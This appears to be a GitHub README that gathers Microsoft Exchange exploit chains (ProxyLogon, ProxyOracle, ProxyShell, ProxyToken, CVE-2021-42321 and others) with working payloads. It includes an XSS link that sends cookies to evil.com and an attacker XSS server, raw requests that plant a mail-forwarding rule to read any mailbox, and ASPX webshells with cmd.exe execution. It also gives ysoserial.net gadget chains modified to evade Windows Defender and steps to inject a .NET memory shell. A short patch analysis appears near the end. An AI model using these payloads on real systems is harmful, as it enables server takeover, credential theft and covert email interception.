Giters

asdfkj1 / Proxy-Attackchain

proxylogon & proxyshell & proxyoracle & proxytoken & all exchange server vulns summarization :)

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

Proxy-Attackchain

proxylogon & proxyshell & proxyoracle & proxytoken & all exchange server vulns summarization :)

  1. ProxyLogon: The most well-known and impactful Exchange exploit chain
  2. ProxyOracle: The attack which could recover any password in plaintext format of Exchange users
  3. ProxyShell: The exploit chain demonstrated at Pwn2Own 2021 to take over Exchange and earn $200,000 bounty

ProxyLogon is Just the Tip of the Iceberg: A New Attack Surface on Microsoft Exchange Server! Slides Video

NAME CVE patch time description avaliable
ProxyLogon CVE-2021-26855 Mar 02, 2021 server-side request forgery (SSRF) yes
ProxyLogon CVE-2021-27065 Mar 02, 2021 Microsoft.Exchange.Management.DDIService.WriteFileActivity未校验写文件后缀，可由文件内容部分可控的相关功能写入WebShell yes
ProxyOracle CVE-2021-31196 Jul 13, 2021 Reflected Cross-Site Scripting yes
ProxyOracle CVE-2021-31195 May 11, 2021 Padding Oracle Attack on Exchange Cookies Parsing yes
ProxyShell CVE-2021-34473 Apr 13, 2021 Pre-auth Path Confusion leads to ACL Bypass yes
ProxyShell CVE-2021-34523 Apr 13, 2021 Elevation of Privilege on Exchange PowerShell Backend yes
ProxyShell CVE-2021-31207 May 11, 2021 Post-auth Arbitrary-File-Write leads to RCE yes
proxytoken CVE-2021-33766 July 13, 2021 With this vulnerability, an unauthenticated attacker can perform configuration actions on mailboxes belonging to arbitrary users. As an illustration of the impact, this can be used to copy all emails addressed to a target and account and forward them to an account controlled by the attacker. yes
Microsoft Exchange Server 远程执行代码漏洞 CVE-2021-42321 Nov 17, 2021 Exchange Deserialization RCE yes
ProxyRelay yes
ProxyNotShell yes
ProxyNotRelay yes
OWASSRF(CVE-2022-41080) CVE-2022-41080 yes
TabShell(CVE-2022-41076) CVE-2022-41076 yes
CVE-2022-23277 CVE-2022-23277 yes

ProxyLogon

ProxyLogon part links

ProxyOracle

ProxyOracle part links

Once a victim clicks this link, evil.com will receive the cookies.

https://ews.lab/owa/auth/frowny.aspx?app=people&et=ServerError&esrc=MasterPage&te=\&refurl=}}};document.cookie=`X-AnonResource-Backend=@evil.com:443/path/any.php%23~1941962753`;document.cookie=`X-AnonResource=true`;fetch(`/owa/auth/any.skin`,{credentials:`include`});//

or use 3gstudent's way:

step1: XSS平台搭建

借助SSRF漏洞，控制Exchange服务器将Cookie信息发送至XSS平台，导致最终想要的Cookie信息位于Request Headers中

而现有的XSS平台大都是通过POST请求的参数来传递数据

为了解决这个问题，这里可以选择开源的XSS平台，地址如下：

https://github.com/3gstudent/pyXSSPlatform

只需要修改以下位置：

  • 修改index.js，使用ajax模拟用户发包触发SSRF漏洞

  • 修改 pyXSSPlatform.py ，将GET请求的Request Headers进行提取

  • 使用合法的证书

index.js代码示例：

var xmlHttp = new XMLHttpRequest();
xmlhttp.open("GET", "https://192.168.1.1/owa/auth/x.js", false);
document.cookie = "X-AnonResource=true";
document.cookie = "X-AnonResource-Backend=OurXssServer.com/#~1";
xmlhttp.send();

step2: XSS利用代码

控制用户访问XSS平台的代码示例：

https://192.168.1.1/owa/auth/frowny.aspx?app=people&et=ServerError&esrc=MasterPage&te=\&refurl=}}};document.head.appendChild(document.createElement(/script/.source)).src=/https:\/\/OurXssServer.com\/index.js/.source//

step3: example cookie for decryption test:

cadata=FVtSAAWdOn29HYDQry+kG+994VUdAxONrayi4nbJW9JWTh8yLueD6IxYpahfxcGsA/B3FoVUQOD2EG605SR4QdeQ1pof+KD//6jwpmYQjv/II+OcqChrFZFvcMWv46a5; cadataTTL=eTxCEHKHDMmd/gEqDuOafg==; cadataKey=T4juhN4dUMKY4wkajUD43n4EWfMwefPQlqzxXmK4GnSHIZqo+g+uQg1Y2ogGoD1HyoVpRYgjGcCu6rmNQK+LsaZ8/lfBCThBI5yAhP1W2Fx+YNKvzy8Bcpui7zTlhAY598lE5Aijs6crHVXJeZkbLfMJgp0cFHj5uTQPcg31O/AeOAnD5c27IYOQ7JqMW7GOUVor1lhYnhh0R/NtWWqyfr5oE9j0jbxIGgrQrXIpLxL/uAU1ddC+/5jG9Edpq4sC213amuU/94rkHYzNH9OsiHYIkXr/NmkB7p908XrFrwXAcvV9QieoRiS3jvKCbzk3mnMu3YTnsJwAuiHzSXdCOQ==; cadataIV=GB9B+rwrigyPOf8xnV1KAek++yovEot9jFcV68WepCTQoRtQ5HUxSC7tE1mmHg0YtE6EOZNUM/WiNGP6xI4UTAofcMOfTLeRpBzeaKOETfjxKK2W7IKn+9k2tRkc1pIlO8FTOVx/dOHOoIFHUkqxFr+TgBULJ1I7tUmO7W0XDX4ZJHfmQhVqOOzeyjImKdX7Uv/jIJrF4VEew7rgvrC8BhqOqWgaTxpGhDTzIXl+wW3crsgZmXpXhOPURej1iwmtvhuQU6iuq4/IRv0lVIW3WvP6gUI8owIUxppnJl7YmN27Aqkjs0nTZZz1LBuZN+YxY4x6Lvs2FMG68jllhE4kwg==; cadataSig=BOJSYN2B+3RsXjO2akh3mqlKKkeAZVamOzfpVo0QdPEA3BHjpR6ls5yD9TzAQzRuWJJaaRIm7wMEiBMFz/sK5jk3R6kWw1OmMtJN2c38PdvwGIe6/7ByJdl52a5ojhDrRZhc4Qc3y+FFRx6XKvqUljTRWtHJGI1Jad2+LiNhJGkalhUeTM/a2V4LiQWf6Vv1KzJO79rZuOOOBnatht/E29j6636FpllCfEKrrogPQ7ADdVS6OOmqNU9gRMVgKnomC2t2PCtuYj26HUjnZ3rfc6BdzVmtu9EYSzccObsB2jxXXclAm5a+NZU/6sj9tlq3gcurjBl9yUDTgbZLg383gw==

  • amd64 poc binary usage:

  • just a modyfied version of padre, added proxyoracle detect poc code...

  • python script exp usage:

Decrypt this cookie to plaintext:

ProxyShell

ProxyShell part links

short intro

  • CVE-2021-34473 - Pre-auth Path Confusion

This faulty URL normalization lets us access an arbitrary backend URL while running as the Exchange Server machine account. Although this bug is not as powerful as the SSRF in ProxyLogon, and we could manipulate only the path part of the URL, it’s still powerful enough for us to conduct further attacks with arbitrary backend access.

https://xxx.xxx.xxx.xxx/autodiscover/autodiscover.json?@foo.com/mapi/nspi/?&Email=autodiscover/autodiscover.json%3f@foo.com
  • CVE-2021-34523 - Exchange PowerShell Backend Elevation-of-Privilege
  • CVE-2021-31207 - Post-auth Arbitrary-File-Write

let's getting started and split proxyshell part to part ......

generate proxyshell specified webshell payload.

just put the webshell content you want to "webshell", then it will be fine...

then put the encoded webshell to <t:Content>...</t:Content> in chkproxyshell.go

confirm proxyshell and get the sid value to generate token.

use the following py script to gen token value

confirm the token is valid

now use the token to send a email with shell attachment in, this may be saved as a draft in test user's mailbox...

finnaly use the following wsman python script to export The draft to webshell, sometimes may write shell failed, try one more time will be fine :)

access the shell and then execute the commands you want:

view-source:https://192.168.186.130//aspnet_client/redhedh.aspx?cmd=Response.Write(Response.Write('eeeeeeeeeeeeeeeeeeee lUc1f3r11 is here!!!!'));

shell is just work fine!!!

command exec:

view-source:https://192.168.186.130//aspnet_client/redhedh.aspx?cmd=Response.Write(new ActiveXObject("WScript.Shell").Exec("cmd.exe /c whoami /all").StdOut.ReadAll());

exploit proxyshell by using one click shell scripts from github

Pwn2Own 2021 Microsoft 3rd Exchange Exploit Chain (proxyshell but intresting exploit script)

links

ProxyToken

ProxyToken part links

proxytoken复现

  • Note: 此漏洞可被用来进行exchange邮箱窃取，钓鱼，社工角色伪装等，只需邮箱名无需任何密码即可利用

burpsuite请求包分析

  1. 第一步发送如下请求包查看proxytoken漏洞是否存在，其中test@exchange2016.com是攻击者想要读取邮件的那个邮箱地址
GET /ecp/test@exchange2016.com/PersonalSettings/HomePage.aspx?showhelp=false HTTP/1.1
Host: 192.168.186.130
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Cookie: SecurityToken=x

返回响应包页面状态为200，响应头中存在"msExchEcpCanary="及值，代表漏洞存在

  1. 第二步发送如下请求包，构造邮件转发规则到test@exchange2016.com邮箱，后续所有administrator@exchange2016.com发送给test@exchange2016.com邮箱的邮件，都会被重新转发一份给proxymail@exchange2016.com邮箱，从而实现任意邮箱读取
POST /ecp/test@exchange2016.com/RulesEditor/InboxRules.svc/Newobject?msExchEcpCanary=FrgLJ_16A0Wr_5nhVivj6vBJGbdFFtsIzwQBoOvKIiUzB1yV5wMJqzG8oRfNd1HWUKm33fyrJ-I. HTTP/1.1
Host: 192.168.186.130
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Cookie: SecurityToken=x
Content-Type: application/json; charset=utf-8
Connection: close
Content-Length: 327


{"properties":{"RedirectTo":[{"RawIdentity":"proxymail@exchange2016.com","DisplayName":"proxymail@exchange2016.com","Address":"proxymail@exchange2016.com","AddressOrigin":0,"galContactGuid":null,"RecipientFlag":0,"RoutingType":"SMTP","SMTPAddress":"proxymail@exchange2016.com"}],"Name":"Testrule","StopProcessingRules":true}}

返回响应包页面状态为200，响应内容如下，代表漏洞存在

{"d":{"__type":"RuleRowResults:ECP","Cmdlets":["New-InboxRule"],"ErrorRecords":[],"Informations":[],"IsDDIEnabled":false,"Warnings":[],"Output":null}}

golang proxytoken one click exploit

-te: is the email that you want to redirect to...
-ve: is the email that you want to attack and read the email ...

邮件转发规则修改结果

邮件发送测试，如下图，所有administrator@exchange2016.com发送给test@exchange2016.com邮箱的邮件，都会被重新转发一份给proxymail@exchange2016.com邮箱

CVE-2018-8581

CVE-2018-8581 part links

CVE-2018-8302

CVE-2018-8302 part links

CVE-2020-0688

CVE-2020-0688 part links

CVE-2020-17144

CVE-2020-17144 part links

Exchange Authenticated RCE CVE-2021-42321

CVE-2021-42321 part links

Exchange 2016 CU 21,22 and Exchange 2019 CU 10,11. This means the only recent latest version of Exchange 2016,2019 are vulnerable to this CVE

  1. Create UserConfiguration with BinaryData as our Gadget Chain
  2. Request to EWS for GetClientAccessToken to trigger the Deserialization
  • vulnerable exchange versions
Exchange Server 2016 CU22 <= Oct21SU 15.1.2375.12 15.01.2375.012
Exchange Server 2016 CU21 <= Oct21SU 15.1.2308.15 15.01.2308.015
Exchange Server 2019 CU11 <= Oct21SU 15.2.986.9 15.02.0986.009
Exchange Server 2019 CU10 <= Oct21SU 15.2.922.14 15.02.0922.014

直接修改ysoserial.net为写入aspx webshell

实际在利用的过程中遇到的500错误，原因是从ProxyLogon, ProxyShell开始，直到现在一些edr,AV,sysmon和Microsoft Windows Defender都试图捕获和阻止来自w3wp.exe进程的衍生进程。所以w3wp进程启动的进程被Definder拦截了。

这样的话只要修改ysoserial的代码功能为写文件即可利用，而不用启动其它进程。

修改后TypeConfuseDelegateGenerator

与原来的TypeConfuseDelegateGenerator-origin对比

TypeConfuse链改为写入文件，即可绕过 windows definder 的 w3wp.exe启动进程。
将此文件覆盖ysoserial.net原始文件，重新编译即可。

然后运行如下命令生成gadget chain:

ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -o base64 -c "1" -t

替换原poc中的gadget，即可成功写入webshell

修改了原poc，添加了写入如下两种shell的gadget chain:

  • luci.aspx
a<script language='JScript' runat='server' Page aspcompat=true>function Page_Load(){eval(Request['cmd'],'unsafe');}</script>
  • atobshell.aspx
a<%@ Page Language=\'JScript\' Debug=\'true\'%><%@Import Namespace=\'System.IO\'%><%File.WriteAllBytes(Request[\'b\'], Convert.FromBase64String(Request[\'a\']));%>

运行脚本，成功写入两个webshell，方便后续各种操作

view-source:https://192.168.186.135/aspnet_client/luci.aspx?cmd=Response.Write(new ActiveXObject("WScript.Shell").Exec("cmd.exe /c whoami /all").StdOut.ReadAll());

添加植入内存马gadget chain

change DisableActivitySurrogateSelectorTypeCheck to True to overcome the limitation of .NET and later inject DLL to achieve mem-shell with Jscript to bypass the detection

.net mem-shell researchs resources

  1. 首先在注入memory shell之前，需要将DisableActivitySurrogateSelectorTypeCheck更改为True以绕开.NET的限制，这里使用ysoserial.net官方仓库的ClaimsPrincipal + ActivitySurrogateDisableTypeCheck相结合的gadget chain

Generate a minified BinaryFormatter payload to exploit Exchange CVE-2021-42321 using the ActivitySurrogateDisableTypeCheck gadget inside the ClaimsPrincipal gadget.

.\ysoserial.exe -g ClaimsPrincipal -f BinaryFormatter -c foobar -bgc ActivitySurrogateDisableTypeCheck --minify --ust

将这个ClaimsPrincipal+ActivitySurrogateDisableTypeCheck反序列化链添加到CVE-2021-42321_shell_write_exp.py exp脚本中

将DisableActivitySurrogateSelectorTypeCheck更改为True以绕开.NET的限制后，使用弹计算器的TypeConfuseDelegate未修改版本gadget chain在目标上弹出计算器，以确认DisableActivitySurrogateSelectorTypeCheck成功更改为True

  • origin TypeConfuseDelegate chain
.\ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -o base64 -c "calc" -t
  1. 此处通过反序列化生成内存马的方式主要参考：

按照Memshell-HttpListener的github仓库中的说明编译内存马的.dll文件

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:System.Web.dll,System.dll,Microsoft.CSharp.dll,System.Core.dll /t:library memshell.cs

编译完之后会在目录下生成一个memshell.dll文件，将其改名为e.dll后续生成反序列化链需要用到

将e.dll文件复制到ysoserial.exe的bin目录中

现在生成加载e.dll，注入内存马的ClaimsPrincipal + ActivitySurrogateSelector结合的gadget chain

ActivitySurrogateSelectorGenerator.cs文件中加载e.dll的流程

及自带的Disable ActivitySurrogate type protections during generation功能

.\ysoserial.exe -g ClaimsPrincipal -f BinaryFormatter -c foobar -bgc ActivitySurrogateSelector --minify --ust

将这个ClaimsPrincipal+ActivitySurrogateSelector反序列化链添加到CVE-2021-42321_shell_write_exp.py exp脚本中

  • 本地测试最终exp

  1. exp运行前:
  1. 运行exp脚本，一键注入.net内存马
  1. 查看内存马命令执行效果
curl http://192.168.186.135/favicon.ico -H "Type: cmd"  -d "pass=whoami"

note: 后续会另开一个github仓库深入分析.net内存马原理和实战利用方式

修复

KB5007409得到修复，最终反序列化的地方, 此处

this.formatter为IClientExtensionCollectionFormatter的实现，仅剩

Microsoft.Exchange.Data.ApplicationLogic.Extension.ClientExtensionCollectionFormatter.Deserialize(Stream):
    Collection
  1. TypeConfuseDelegate 链

(1). 初始化 Formatter 的 Binder 属性时，将一个恶意类置入了白名单，导致内置的黑名单过滤失效。

(2). ChainedSerializationBinder 黑名单中某个类拼写错误，导致内置的黑名单过滤失效。

ClientExtensionCollectionFormatter.Deserialize() 改为使用 ExchangeBinaryFormatterFactory.CreateBinaryFormatter() 创建 Formatter 再反序列化数据，并且其 allowedTypes 设为空，而不是直接使用 TypedBinaryFormatter，甚至直接删除了 TypedBinaryFormatter 类。

  1. ClaimsPrincipal 链

开发人员把类名写错，System.Security.ClaimsPrincipal 的正确写法应该是 System.Security.Claims.ClaimsPrincipal,直接改为正确的类名。

ProxyRelay

ProxyRelay part links

ProxyNotShell

ProxyNotShell part links

ProxyNotRelay

ProxyNotRelay part links

OWASSRF + TabShell

OWASSRF + TabShell part links

CVE-2022-23277

CVE-2022-23277 part links

认证部分需要通过burpsuite手动添加，利用成功后会在aspnet_client写入1.aspx。

  • webshell:
<%@ Page Language="JScript" Debug="true"%><%@Import Namespace="System.IO"%><%File.WriteAllBytes(Request["b"], Convert.FromBase64String(Request["a"]));%>

Research white paper PDFs

offline address book

Low Level API (RPC)

Other Links

About

proxylogon & proxyshell & proxyoracle & proxytoken & all exchange server vulns summarization :)

Languages

Language:C# 84.6%Language:Python 11.3%Language:Go 3.7%Language:C 0.5%Language:Batchfile 0.0%